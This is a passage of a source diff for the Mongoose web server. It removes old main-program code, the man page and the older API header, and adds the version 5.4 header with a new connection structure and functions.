AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
|
|
||||||
service_installed = manage_service(0);
|
|
||||||
snprintf(buf, sizeof(buf), "NT service: %s installed",
|
|
||||||
service_installed ? "" : "not");
|
|
||||||
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
|
|
||||||
AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
|
|
||||||
ID_INSTALL_SERVICE, "Install service");
|
|
||||||
AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
|
|
||||||
ID_REMOVE_SERVICE, "Deinstall service");
|
|
||||||
AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
|
|
||||||
AppendMenu(hMenu, MF_STRING, ID_EDIT_CONFIG, "Edit config file");
|
|
||||||
AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
|
|
||||||
GetCursorPos(&pt);
|
|
||||||
SetForegroundWindow(hWnd);
|
|
||||||
TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
|
|
||||||
PostMessage(hWnd, WM_NULL, 0, 0);
|
|
||||||
DestroyMenu(hMenu);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case WM_CLOSE:
|
|
||||||
mg_stop(ctx);
|
|
||||||
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
|
|
||||||
PostQuitMessage(0);
|
|
||||||
return 0; // We've just sent our own quit message, with proper hwnd.
|
|
||||||
}
|
|
||||||
|
|
||||||
return DefWindowProc(hWnd, msg, wParam, lParam);
|
|
||||||
}
|
|
||||||
|
|
||||||
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
|
|
||||||
WNDCLASS cls;
|
|
||||||
HWND hWnd;
|
|
||||||
MSG msg;
|
|
||||||
|
|
||||||
init_server_name();
|
|
||||||
memset(&cls, 0, sizeof(cls));
|
|
||||||
cls.lpfnWndProc = (WNDPROC) WindowProc;
|
|
||||||
cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
|
|
||||||
cls.lpszClassName = server_name;
|
|
||||||
|
|
||||||
RegisterClass(&cls);
|
|
||||||
hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
|
|
||||||
0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
|
||||||
ShowWindow(hWnd, SW_HIDE);
|
|
||||||
|
|
||||||
TrayIcon.cbSize = sizeof(TrayIcon);
|
|
||||||
TrayIcon.uID = ID_TRAYICON;
|
|
||||||
TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
|
|
||||||
TrayIcon.hIcon = LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(ID_ICON),
|
|
||||||
IMAGE_ICON, 16, 16, 0);
|
|
||||||
TrayIcon.hWnd = hWnd;
|
|
||||||
snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
|
|
||||||
TrayIcon.uCallbackMessage = WM_USER;
|
|
||||||
Shell_NotifyIcon(NIM_ADD, &TrayIcon);
|
|
||||||
|
|
||||||
while (GetMessage(&msg, hWnd, 0, 0) > 0) {
|
|
||||||
TranslateMessage(&msg);
|
|
||||||
DispatchMessage(&msg);
|
|
||||||
}
|
|
||||||
|
|
||||||
return msg.wParam;
|
|
||||||
}
|
|
||||||
#else
|
|
||||||
int main(int argc, char *argv[]) {
|
|
||||||
init_server_name();
|
|
||||||
start_mongoose(argc, argv);
|
|
||||||
printf("%s started on port(s) %s with web root [%s]\n",
|
|
||||||
server_name, mg_get_option(ctx, "listening_ports"),
|
|
||||||
mg_get_option(ctx, "document_root"));
|
|
||||||
while (exit_flag == 0) {
|
|
||||||
sleep(1);
|
|
||||||
}
|
|
||||||
printf("Exiting on signal %d, waiting for all threads to finish...",
|
|
||||||
exit_flag);
|
|
||||||
fflush(stdout);
|
|
||||||
mg_stop(ctx);
|
|
||||||
printf("%s", " done.\n");
|
|
||||||
|
|
||||||
return EXIT_SUCCESS;
|
|
||||||
}
|
|
||||||
#endif /* _WIN32 */
|
|
||||||
-174
@@ -1,174 +0,0 @@
|
|||||||
.\" Process this file with
|
|
||||||
.\" groff -man -Tascii mongoose.1
|
|
||||||
.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
|
|
||||||
.Dd Aug 31, 2010
|
|
||||||
.Dt mongoose 1
|
|
||||||
.Sh NAME
|
|
||||||
.Nm mongoose
|
|
||||||
.Nd lightweight web server
|
|
||||||
.Sh SYNOPSIS
|
|
||||||
.Nm
|
|
||||||
.Op Ar config_file
|
|
||||||
.Op Ar OPTIONS
|
|
||||||
.Nm
|
|
||||||
.Fl A Ar htpasswd_file domain_name user_name password
|
|
||||||
.Sh DESCRIPTION
|
|
||||||
.Nm
|
|
||||||
is small, fast and easy to use web server with CGI, SSL, MD5 authorization,
|
|
||||||
and basic SSI support.
|
|
||||||
.Pp
|
|
||||||
.Nm
|
|
||||||
does not detach from terminal, and uses current working directory
|
|
||||||
as the web root, unless
|
|
||||||
.Fl r
|
|
||||||
option is specified.
|
|
||||||
It is possible to specify multiple ports to listen on. For example, to make
|
|
||||||
mongoose listen on HTTP port 80 and HTTPS port 443, one should start it as:
|
|
||||||
.Nm
|
|
||||||
.Fl s Ar cert.pem Fl p Ar 80,443s
|
|
||||||
.Pp
|
|
||||||
Unlike other web servers,
|
|
||||||
.Nm
|
|
||||||
does not require CGI scripts be put in a special directory. CGI scripts can
|
|
||||||
be anywhere. CGI (and SSI) files are recognized by the file name pattern.
|
|
||||||
.Nm
|
|
||||||
uses shell-like glob patterns with the following syntax:
|
|
||||||
.Bl -tag -compact -width indent
|
|
||||||
.It **
|
|
||||||
Matches everything
|
|
||||||
.It *
|
|
||||||
Matches everything but slash character, '/'
|
|
||||||
.It ?
|
|
||||||
Matches any character
|
|
||||||
.It $
|
|
||||||
Matches the end of the string
|
|
||||||
.It |
|
|
||||||
Matches if pattern on the left side or the right side matches. Pattern on the
|
|
||||||
left side is matched first
|
|
||||||
.El
|
|
||||||
All other characters in the pattern match themselves.
|
|
||||||
.Pp
|
|
||||||
If no arguments are given,
|
|
||||||
.Nm
|
|
||||||
searches for a configuration file called "mongoose.conf" in the same directory
|
|
||||||
where mongoose binary is located. Alternatively, a file name could be
|
|
||||||
specified in the command line. Format of the configuration file is the same
|
|
||||||
as for the command line options except that each option must be specified
|
|
||||||
on a separate line, leading dashes for option names must be omitted.
|
|
||||||
Lines beginning with '#' and empty lines are ignored.
|
|
||||||
.Pp
|
|
||||||
.Sh OPTIONS
|
|
||||||
.Bl -tag -width indent
|
|
||||||
.It Fl A Ar htpasswd_file domain_name user_name password
|
|
||||||
Add/edit user's password in the passwords file. Deleting users can be done
|
|
||||||
with any text editor. Functionality is similar to Apache's
|
|
||||||
.Ic htdigest
|
|
||||||
utility.
|
|
||||||
.It Fl C Ar cgi_pattern
|
|
||||||
All files that fully match cgi_pattern are treated as CGI.
|
|
||||||
Default pattern allows CGI files be
|
|
||||||
anywhere. To restrict CGIs to certain directory, use e.g. "-C /cgi-bin/**.cgi".
|
|
||||||
Default: "**.cgi$|**.pl$|**.php$"
|
|
||||||
.It Fl E Ar cgi_environment
|
|
||||||
Extra environment variables to be passed to the CGI script in addition to
|
|
||||||
standard ones. The list must be comma-separated list of X=Y pairs, like this:
|
|
||||||
"VARIABLE1=VALUE1,VARIABLE2=VALUE2". Default: ""
|
|
||||||
.It Fl G Ar put_delete_passwords_file
|
|
||||||
PUT and DELETE passwords file. This must be specified if PUT or
|
|
||||||
DELETE methods are used. Default: ""
|
|
||||||
.It Fl I Ar cgi_interpreter
|
|
||||||
Use
|
|
||||||
.Ar cgi_interpreter
|
|
||||||
as a CGI interpreter for all CGI scripts regardless script extension.
|
|
||||||
Mongoose decides which interpreter to use by looking at
|
|
||||||
the first line of a CGI script. Default: "".
|
|
||||||
.It Fl M Ar max_request_size
|
|
||||||
Maximum HTTP request size in bytes. Default: "16384"
|
|
||||||
.It Fl P Ar protect_uri
|
|
||||||
Comma separated list of URI=PATH pairs, specifying that given URIs
|
|
||||||
must be protected with respected password files. Default: ""
|
|
||||||
.It Fl R Ar authentication_domain
|
|
||||||
Authorization realm. Default: "mydomain.com"
|
|
||||||
.It Fl S Ar ssi_pattern
|
|
||||||
All files that fully match ssi_pattern are treated as SSI.
|
|
||||||
Unknown SSI directives are silently ignored. Currently, two SSI directives
|
|
||||||
are supported, "include" and "exec". Default: "**.shtml$|**.shtm$"
|
|
||||||
.It Fl a Ar access_log_file
|
|
||||||
Access log file. Default: "", no logging is done.
|
|
||||||
.It Fl d Ar enable_directory_listing
|
|
||||||
Enable/disable directory listing. Default: "yes"
|
|
||||||
.It Fl e Ar error_log_file
|
|
||||||
Error log file. Default: "", no errors are logged.
|
|
||||||
.It Fl g Ar global_passwords_file
|
|
||||||
Location of a global passwords file. If set, per-directory .htpasswd files are
|
|
||||||
ignored, and all requests must be authorised against that file. Default: ""
|
|
||||||
.It Fl i Ar index_files
|
|
||||||
Comma-separated list of files to be treated as directory index files.
|
|
||||||
Default: "index.html,index.htm,index.cgi"
|
|
||||||
.It Fl l Ar access_control_list
|
|
||||||
Specify access control list (ACL). ACL is a comma separated list
|
|
||||||
of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
|
|
||||||
minus means deny. If subnet mask is
|
|
||||||
omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
|
|
||||||
from 0 to 32 inclusive. On each request, full list is traversed, and
|
|
||||||
last match wins. Default setting is to allow all. For example, to allow only
|
|
||||||
192.168/16 subnet to connect, run "mongoose -0.0.0.0/0,+192.168/16".
|
|
||||||
Default: ""
|
|
||||||
.It Fl m Ar extra_mime_types
|
|
||||||
Extra mime types to recognize, in form
|
|
||||||
"extension1=type1,extension2=type2,...". Extension must include dot.
|
|
||||||
Example: "mongoose -m .cpp=plain/text,.java=plain/text". Default: ""
|
|
||||||
.It Fl p Ar listening_ports
|
|
||||||
Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
|
|
||||||
must be appeneded, for example, "-p 80,443s" will open port 80 and port 443,
|
|
||||||
and connections on port 443 will be SSL-ed. It is possible to specify an
|
|
||||||
IP address to bind to. In this case, an IP address and a colon must be
|
|
||||||
prepended to the port number. For example, to bind to a loopback interface
|
|
||||||
on port 80 and to all interfaces on HTTPS port 443, use
|
|
||||||
"mongoose -p 127.0.0.1:80,443s". Default: "8080"
|
|
||||||
.It Fl r Ar document_root
|
|
||||||
Location of the WWW root directory. Default: "."
|
|
||||||
.It Fl s Ar ssl_certificate
|
|
||||||
Location of SSL certificate file. Default: ""
|
|
||||||
.It Fl t Ar num_threads
|
|
||||||
Number of worker threads to start. Default: "10"
|
|
||||||
.It Fl u Ar run_as_user
|
|
||||||
Switch to given user's credentials after startup. Default: ""
|
|
||||||
.It Fl w Ar url_rewrite_patterns
|
|
||||||
Comma-separated list of URL rewrites in the form of
|
|
||||||
"pattern=substitution,..." If the "pattern" matches some prefix
|
|
||||||
of the requested URL, then matched prefix gets substituted with "substitution".
|
|
||||||
For example, "-w /config=/etc,**.doc|**.rtf=/path/to/cgi-bin/handle_doc.cgi"
|
|
||||||
will serve all URLs that start with "/config" from the "/etc" directory, and
|
|
||||||
call handle_doc.cgi script for .doc and .rtf file requests. If some pattern
|
|
||||||
matches, no further matching/substitution is performed
|
|
||||||
(first matching pattern wins). Use full paths in substitutions. Default: ""
|
|
||||||
.It Fl x Ar hide_files_patterns
|
|
||||||
A prefix pattern for the files to hide. Files that match the pattern will not
|
|
||||||
show up in directory listing and return 404 Not Found if requested. Default: ""
|
|
||||||
.El
|
|
||||||
.Pp
|
|
||||||
.Sh EMBEDDING
|
|
||||||
.Nm
|
|
||||||
was designed to be embeddable into C/C++ applications. Since the
|
|
||||||
source code is contained in single C file, it is fairly easy to embed it
|
|
||||||
and follow the updates. Please refer to http://code.google.com/p/mongoose
|
|
||||||
for details.
|
|
||||||
.Pp
|
|
||||||
.Sh EXAMPLES
|
|
||||||
.Bl -tag -width indent
|
|
||||||
.It Nm Fl r Ar /var/www Fl s Ar /etc/cert.pem Fl p Ar 8080,8043s
|
|
||||||
Start serving files from /var/www. Listen on port 8080 for HTTP, and 8043
|
|
||||||
for HTTPS connections. Use /etc/cert.pem as SSL certificate file.
|
|
||||||
.It Nm Fl l Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
|
|
||||||
Deny connections from everywhere, allow only IP address 1.2.3.4 and
|
|
||||||
all IP addresses from 10.0.0.0/8 subnet to connect.
|
|
||||||
.It Nm Fl w Ar **=/usr/bin/script.cgi
|
|
||||||
Invoke /usr/bin/script.cgi for every incoming request, regardless of the URL.
|
|
||||||
.El
|
|
||||||
.Pp
|
|
||||||
.Sh COPYRIGHT
|
|
||||||
.Nm
|
|
||||||
is licensed under the terms of the MIT license.
|
|
||||||
.Sh AUTHOR
|
|
||||||
.An Sergey Lyubka Aq valenok@gmail.com .
|
|
||||||
+4319
-3662
File diff suppressed because it is too large.
Load diff
+112
-245
@@ -1,276 +1,143 @@
|
|||||||
// Copyright (c) 2004-2011 Sergey Lyubka
|
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
|
||||||
|
// Copyright (c) 2013-2014 Cesanta Software Limited
|
||||||
|
// All rights reserved
|
||||||
//
|
//
|
||||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
// This library is dual-licensed: you can redistribute it and/or modify
|
||||||
// of this software and associated documentation files (the "Software"), to deal
|
// it under the terms of the GNU General Public License version 2 as
|
||||||
// in the Software without restriction, including without limitation the rights
|
// published by the Free Software Foundation. For the terms of this
|
||||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
// license, see <http://www.gnu.org/licenses/>.
|
||||||
// copies of the Software, and to permit persons to whom the Software is
|
|
||||||
// furnished to do so, subject to the following conditions:
|
|
||||||
//
|
//
|
||||||
// The above copyright notice and this permission notice shall be included in
|
// You are free to use this library under the terms of the GNU General
|
||||||
// all copies or substantial portions of the Software.
|
// Public License, but WITHOUT ANY WARRANTY; without even the implied
|
||||||
|
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
// See the GNU General Public License for more details.
|
||||||
//
|
//
|
||||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
// Alternatively, you can license this library under a commercial
|
||||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
// license, as set out in <http://cesanta.com/>.
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
//
|
||||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
// NOTE: Detailed API documentation is at http://cesanta.com/#docs
|
||||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
||||||
// THE SOFTWARE.
|
|
||||||
|
|
||||||
#ifndef MONGOOSE_HEADER_INCLUDED
|
#ifndef MONGOOSE_HEADER_INCLUDED
|
||||||
#define MONGOOSE_HEADER_INCLUDED
|
#define MONGOOSE_HEADER_INCLUDED
|
||||||
|
|
||||||
#include <stdio.h>
|
#define MONGOOSE_VERSION "5.4"
|
||||||
#include <stddef.h>
|
|
||||||
|
#include <stdio.h> // required for FILE
|
||||||
|
#include <stddef.h> // required for size_t
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#endif // __cplusplus
|
#endif // __cplusplus
|
||||||
|
|
||||||
struct mg_context; // Handle for the HTTP service itself
|
// This structure contains information about HTTP request.
|
||||||
struct mg_connection; // Handle for the individual connection
|
struct mg_connection {
|
||||||
|
const char *request_method; // "GET", "POST", etc
|
||||||
|
const char *uri; // URL-decoded URI
|
||||||
|
const char *http_version; // E.g. "1.0", "1.1"
|
||||||
|
const char *query_string; // URL part after '?', not including '?', or NULL
|
||||||
|
|
||||||
|
char remote_ip[48]; // Max IPv6 string length is 45 characters
|
||||||
|
char local_ip[48]; // Local IP address
|
||||||
|
unsigned short remote_port; // Client's port
|
||||||
|
unsigned short local_port; // Local port number
|
||||||
|
|
||||||
// This structure contains information about the HTTP request.
|
int num_headers; // Number of HTTP headers
|
||||||
struct mg_request_info {
|
|
||||||
void *user_data; // User-defined pointer passed to mg_start()
|
|
||||||
char *request_method; // "GET", "POST", etc
|
|
||||||
char *uri; // URL-decoded URI
|
|
||||||
char *http_version; // E.g. "1.0", "1.1"
|
|
||||||
char *query_string; // URL part after '?' (not including '?') or NULL
|
|
||||||
char *remote_user; // Authenticated user, or NULL if no auth used
|
|
||||||
char *log_message; // Mongoose error log message, MG_EVENT_LOG only
|
|
||||||
long remote_ip; // Client's IP address
|
|
||||||
int remote_port; // Client's port
|
|
||||||
int status_code; // HTTP reply status code, e.g. 200
|
|
||||||
int is_ssl; // 1 if SSL-ed, 0 if not
|
|
||||||
int num_headers; // Number of headers
|
|
||||||
struct mg_header {
|
struct mg_header {
|
||||||
char *name; // HTTP header name
|
const char *name; // HTTP header name
|
||||||
char *value; // HTTP header value
|
const char *value; // HTTP header value
|
||||||
} http_headers[64]; // Maximum 64 headers
|
} http_headers[30];
|
||||||
|
|
||||||
|
char *content; // POST (or websocket message) data, or NULL
|
||||||
|
size_t content_len; // Data length
|
||||||
|
|
||||||
|
int is_websocket; // Connection is a websocket connection
|
||||||
|
int status_code; // HTTP status code for HTTP error handler
|
||||||
|
int wsbits; // First byte of the websocket frame
|
||||||
|
void *server_param; // Parameter passed to mg_add_uri_handler()
|
||||||
|
void *connection_param; // Placeholder for connection-specific data
|
||||||
|
void *callback_param; // Needed by mg_iterate_over_connections()
|
||||||
};
|
};
|
||||||
|
|
||||||
// Various events on which user-defined function is called by Mongoose.
|
struct mg_server; // Opaque structure describing server instance
|
||||||
|
enum mg_result { MG_FALSE, MG_TRUE, MG_MORE };
|
||||||
enum mg_event {
|
enum mg_event {
|
||||||
MG_NEW_REQUEST, // New HTTP request has arrived from the client
|
MG_POLL = 100, // Callback return value is ignored
|
||||||
MG_HTTP_ERROR, // HTTP error must be returned to the client
|
MG_CONNECT, // If callback returns MG_FALSE, connect fails
|
||||||
MG_EVENT_LOG, // Mongoose logs an event, request_info.log_message
|
MG_AUTH, // If callback returns MG_FALSE, authentication fails
|
||||||
MG_INIT_SSL, // Mongoose initializes SSL. Instead of mg_connection *,
|
MG_REQUEST, // If callback returns MG_FALSE, Mongoose continues with req
|
||||||
// SSL context is passed to the callback function.
|
MG_REPLY, // If callback returns MG_FALSE, Mongoose closes connection
|
||||||
MG_REQUEST_COMPLETE // Mongoose has finished handling the request
|
MG_CLOSE, // Connection is closed, callback return value is ignored
|
||||||
|
MG_WS_HANDSHAKE, // New websocket connection, handshake request
|
||||||
|
MG_WS_CONNECT, // New websocket connection established
|
||||||
|
MG_HTTP_ERROR // If callback returns MG_FALSE, Mongoose continues with err
|
||||||
|
};
|
||||||
|
typedef int (*mg_handler_t)(struct mg_connection *, enum mg_event);
|
||||||
|
|
||||||
|
// Websocket opcodes, from http://tools.ietf.org/html/rfc6455
|
||||||
|
enum {
|
||||||
|
WEBSOCKET_OPCODE_CONTINUATION = 0x0,
|
||||||
|
WEBSOCKET_OPCODE_TEXT = 0x1,
|
||||||
|
WEBSOCKET_OPCODE_BINARY = 0x2,
|
||||||
|
WEBSOCKET_OPCODE_CONNECTION_CLOSE = 0x8,
|
||||||
|
WEBSOCKET_OPCODE_PING = 0x9,
|
||||||
|
WEBSOCKET_OPCODE_PONG = 0xa
|
||||||
};
|
};
|
||||||
|
|
||||||
// Prototype for the user-defined function. Mongoose calls this function
|
// Server management functions
|
||||||
// on every MG_* event.
|
struct mg_server *mg_create_server(void *server_param, mg_handler_t handler);
|
||||||
//
|
void mg_destroy_server(struct mg_server **);
|
||||||
// Parameters:
|
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
|
||||||
// event: which event has been triggered.
|
int mg_poll_server(struct mg_server *, int milliseconds);
|
||||||
// conn: opaque connection handler. Could be used to read, write data to the
|
|
||||||
// client, etc. See functions below that have "mg_connection *" arg.
|
|
||||||
//
|
|
||||||
// Return:
|
|
||||||
// If handler returns non-NULL, that means that handler has processed the
|
|
||||||
// request by sending appropriate HTTP reply to the client. Mongoose treats
|
|
||||||
// the request as served.
|
|
||||||
// If handler returns NULL, that means that handler has not processed
|
|
||||||
// the request. Handler must not send any data to the client in this case.
|
|
||||||
// Mongoose proceeds with request handling as if nothing happened.
|
|
||||||
typedef void * (*mg_callback_t)(enum mg_event event,
|
|
||||||
struct mg_connection *conn);
|
|
||||||
|
|
||||||
|
|
||||||
// Start web server.
|
|
||||||
//
|
|
||||||
// Parameters:
|
|
||||||
// callback: user defined event handling function or NULL.
|
|
||||||
// options: NULL terminated list of option_name, option_value pairs that
|
|
||||||
// specify Mongoose configuration parameters.
|
|
||||||
//
|
|
||||||
// Side-effects: on UNIX, ignores SIGCHLD and SIGPIPE signals. If custom
|
|
||||||
// processing is required for these, signal handlers must be set up
|
|
||||||
// after calling mg_start().
|
|
||||||
//
|
|
||||||
//
|
|
||||||
// Example:
|
|
||||||
// const char *options[] = {
|
|
||||||
// "document_root", "/var/www",
|
|
||||||
// "listening_ports", "80,443s",
|
|
||||||
// NULL
|
|
||||||
// };
|
|
||||||
// struct mg_context *ctx = mg_start(&my_func, NULL, options);
|
|
||||||
//
|
|
||||||
// Please refer to http://code.google.com/p/mongoose/wiki/MongooseManual
|
|
||||||
// for the list of valid option and their possible values.
|
|
||||||
//
|
|
||||||
// Return:
|
|
||||||
// web server context, or NULL on error.
|
|
||||||
struct mg_context *mg_start(mg_callback_t callback, void *user_data,
|
|
||||||
const char **options);
|
|
||||||
|
|
||||||
|
|
||||||
// Stop the web server.
|
|
||||||
//
|
|
||||||
// Must be called last, when an application wants to stop the web server and
|
|
||||||
// release all associated resources. This function blocks until all Mongoose
|
|
||||||
// threads are stopped. Context pointer becomes invalid.
|
|
||||||
void mg_stop(struct mg_context *);
|
|
||||||
|
|
||||||
|
|
||||||
// Get the value of particular configuration parameter.
|
|
||||||
// The value returned is read-only. Mongoose does not allow changing
|
|
||||||
// configuration at run time.
|
|
||||||
// If given parameter name is not valid, NULL is returned. For valid
|
|
||||||
// names, return value is guaranteed to be non-NULL. If parameter is not
|
|
||||||
// set, zero-length string is returned.
|
|
||||||
const char *mg_get_option(const struct mg_context *ctx, const char *name);
|
|
||||||
|
|
||||||
|
|
||||||
// Return array of strings that represent valid configuration options.
|
|
||||||
// For each option, a short name, long name, and default value is returned.
|
|
||||||
// Array is NULL terminated.
|
|
||||||
const char **mg_get_valid_option_names(void);
|
const char **mg_get_valid_option_names(void);
|
||||||
|
const char *mg_get_option(const struct mg_server *server, const char *name);
|
||||||
|
void mg_set_listening_socket(struct mg_server *, int sock);
|
||||||
|
int mg_get_listening_socket(struct mg_server *);
|
||||||
|
void mg_iterate_over_connections(struct mg_server *, mg_handler_t, void *);
|
||||||
|
struct mg_connection *mg_next(struct mg_server *, struct mg_connection *);
|
||||||
|
void mg_wakeup_server(struct mg_server *);
|
||||||
|
void mg_wakeup_server_ex(struct mg_server *, mg_handler_t, const char *, ...);
|
||||||
|
struct mg_connection *mg_connect(struct mg_server *, const char *, int, int);
|
||||||
|
|
||||||
|
// Connection management functions
|
||||||
|
void mg_send_status(struct mg_connection *, int status_code);
|
||||||
|
void mg_send_header(struct mg_connection *, const char *name, const char *val);
|
||||||
|
size_t mg_send_data(struct mg_connection *, const void *data, int data_len);
|
||||||
|
size_t mg_printf_data(struct mg_connection *, const char *format, ...);
|
||||||
|
size_t mg_write(struct mg_connection *, const void *buf, int len);
|
||||||
|
size_t mg_printf(struct mg_connection *conn, const char *fmt, ...);
|
||||||
|
|
||||||
// Add, edit or delete the entry in the passwords file.
|
size_t mg_websocket_write(struct mg_connection *, int opcode,
|
||||||
//
|
const char *data, size_t data_len);
|
||||||
// This function allows an application to manipulate .htpasswd files on the
|
size_t mg_websocket_printf(struct mg_connection* conn, int opcode,
|
||||||
// fly by adding, deleting and changing user records. This is one of the
|
const char *fmt, ...);
|
||||||
// several ways of implementing authentication on the server side. For another,
|
|
||||||
// cookie-based way please refer to the examples/chat.c in the source tree.
|
|
||||||
//
|
|
||||||
// If password is not NULL, entry is added (or modified if already exists).
|
|
||||||
// If password is NULL, entry is deleted.
|
|
||||||
//
|
|
||||||
// Return:
|
|
||||||
// 1 on success, 0 on error.
|
|
||||||
int mg_modify_passwords_file(const char *passwords_file_name,
|
|
||||||
const char *domain,
|
|
||||||
const char *user,
|
|
||||||
const char *password);
|
|
||||||
|
|
||||||
|
void mg_send_file(struct mg_connection *, const char *path);
|
||||||
|
|
||||||
// Return mg_request_info structure associated with the request.
|
|
||||||
// Always succeeds.
|
|
||||||
const struct mg_request_info *mg_get_request_info(struct mg_connection *);
|
|
||||||
|
|
||||||
|
|
||||||
// Send data to the client.
|
|
||||||
int mg_write(struct mg_connection *, const void *buf, size_t len);
|
|
||||||
|
|
||||||
|
|
||||||
// Send data to the browser using printf() semantics.
|
|
||||||
//
|
|
||||||
// Works exactly like mg_write(), but allows to do message formatting.
|
|
||||||
// Note that mg_printf() uses internal buffer of size IO_BUF_SIZE
|
|
||||||
// (8 Kb by default) as temporary message storage for formatting. Do not
|
|
||||||
// print data that is bigger than that, otherwise it will be truncated.
|
|
||||||
int mg_printf(struct mg_connection *, const char *fmt, ...)
|
|
||||||
#ifdef __GNUC__
|
|
||||||
__attribute__((format(printf, 2, 3)))
|
|
||||||
#endif
|
|
||||||
;
|
|
||||||
|
|
||||||
|
|
||||||
// Send contents of the entire file together with HTTP headers.
|
|
||||||
void mg_send_file(struct mg_connection *conn, const char *path);
|
|
||||||
|
|
||||||
|
|
||||||
// Read data from the remote end, return number of bytes read.
|
|
||||||
int mg_read(struct mg_connection *, void *buf, size_t len);
|
|
||||||
|
|
||||||
|
|
||||||
// Get the value of particular HTTP header.
|
|
||||||
//
|
|
||||||
// This is a helper function. It traverses request_info->http_headers array,
|
|
||||||
// and if the header is present in the array, returns its value. If it is
|
|
||||||
// not present, NULL is returned.
|
|
||||||
const char *mg_get_header(const struct mg_connection *, const char *name);
|
const char *mg_get_header(const struct mg_connection *, const char *name);
|
||||||
|
const char *mg_get_mime_type(const char *name, const char *default_mime_type);
|
||||||
|
int mg_get_var(const struct mg_connection *conn, const char *var_name,
|
||||||
|
char *buf, size_t buf_len);
|
||||||
|
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
|
||||||
|
int mg_parse_multipart(const char *buf, int buf_len,
|
||||||
|
char *var_name, int var_name_len,
|
||||||
|
char *file_name, int file_name_len,
|
||||||
|
const char **data, int *data_len);
|
||||||
|
|
||||||
|
// Utility functions
|
||||||
|
void *mg_start_thread(void *(*func)(void *), void *param);
|
||||||
|
char *mg_md5(char buf[33], ...);
|
||||||
|
int mg_authorize_digest(struct mg_connection *c, FILE *fp);
|
||||||
|
int mg_url_encode(const char *src, size_t s_len, char *dst, size_t dst_len);
|
||||||
|
int mg_url_decode(const char *src, int src_len, char *dst, int dst_len, int);
|
||||||
|
int mg_terminate_ssl(struct mg_connection *c, const char *cert);
|
||||||
|
|
||||||
// Get a value of particular form variable.
|
// Templates support
|
||||||
//
|
struct mg_expansion {
|
||||||
// Parameters:
|
const char *keyword;
|
||||||
// data: pointer to form-uri-encoded buffer. This could be either POST data,
|
void (*handler)(struct mg_connection *);
|
||||||
// or request_info.query_string.
|
};
|
||||||
// data_len: length of the encoded data.
|
void mg_template(struct mg_connection *, const char *text,
|
||||||
// var_name: variable name to decode from the buffer
|
struct mg_expansion *expansions);
|
||||||
// buf: destination buffer for the decoded variable
|
|
||||||
// buf_len: length of the destination buffer
|
|
||||||
//
|
|
||||||
// Return:
|
|
||||||
// On success, length of the decoded variable.
|
|
||||||
// On error, -1 (variable not found, or destination buffer is too small).
|
|
||||||
//
|
|
||||||
// Destination buffer is guaranteed to be '\0' - terminated. In case of
|
|
||||||
// failure, dst[0] == '\0'.
|
|
||||||
int mg_get_var(const char *data, size_t data_len,
|
|
||||||
const char *var_name, char *buf, size_t buf_len);
|
|
||||||
|
|
||||||
// Fetch value of certain cookie variable into the destination buffer.
|
|
||||||
//
|
|
||||||
// Destination buffer is guaranteed to be '\0' - terminated. In case of
|
|
||||||
// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
|
|
||||||
// parameter. This function returns only first occurrence.
|
|
||||||
//
|
|
||||||
// Return:
|
|
||||||
// On success, value length.
|
|
||||||
// On error, 0 (either "Cookie:" header is not present at all, or the
|
|
||||||
// requested parameter is not found, or destination buffer is too small
|
|
||||||
// to hold the value).
|
|
||||||
int mg_get_cookie(const struct mg_connection *,
|
|
||||||
const char *cookie_name, char *buf, size_t buf_len);
|
|
||||||
|
|
||||||
|
|
||||||
// Connect to the remote web server.
|
|
||||||
// Return:
|
|
||||||
// On success, valid pointer to the new connection
|
|
||||||
// On error, NULL
|
|
||||||
struct mg_connection *mg_connect(struct mg_context *ctx,
|
|
||||||
const char *host, int port, int use_ssl);
|
|
||||||
|
|
||||||
|
|
||||||
// Close the connection opened by mg_connect().
|
|
||||||
void mg_close_connection(struct mg_connection *conn);
|
|
||||||
|
|
||||||
|
|
||||||
// Download given URL to a given file.
|
|
||||||
// url: URL to download
|
|
||||||
// path: file name where to save the data
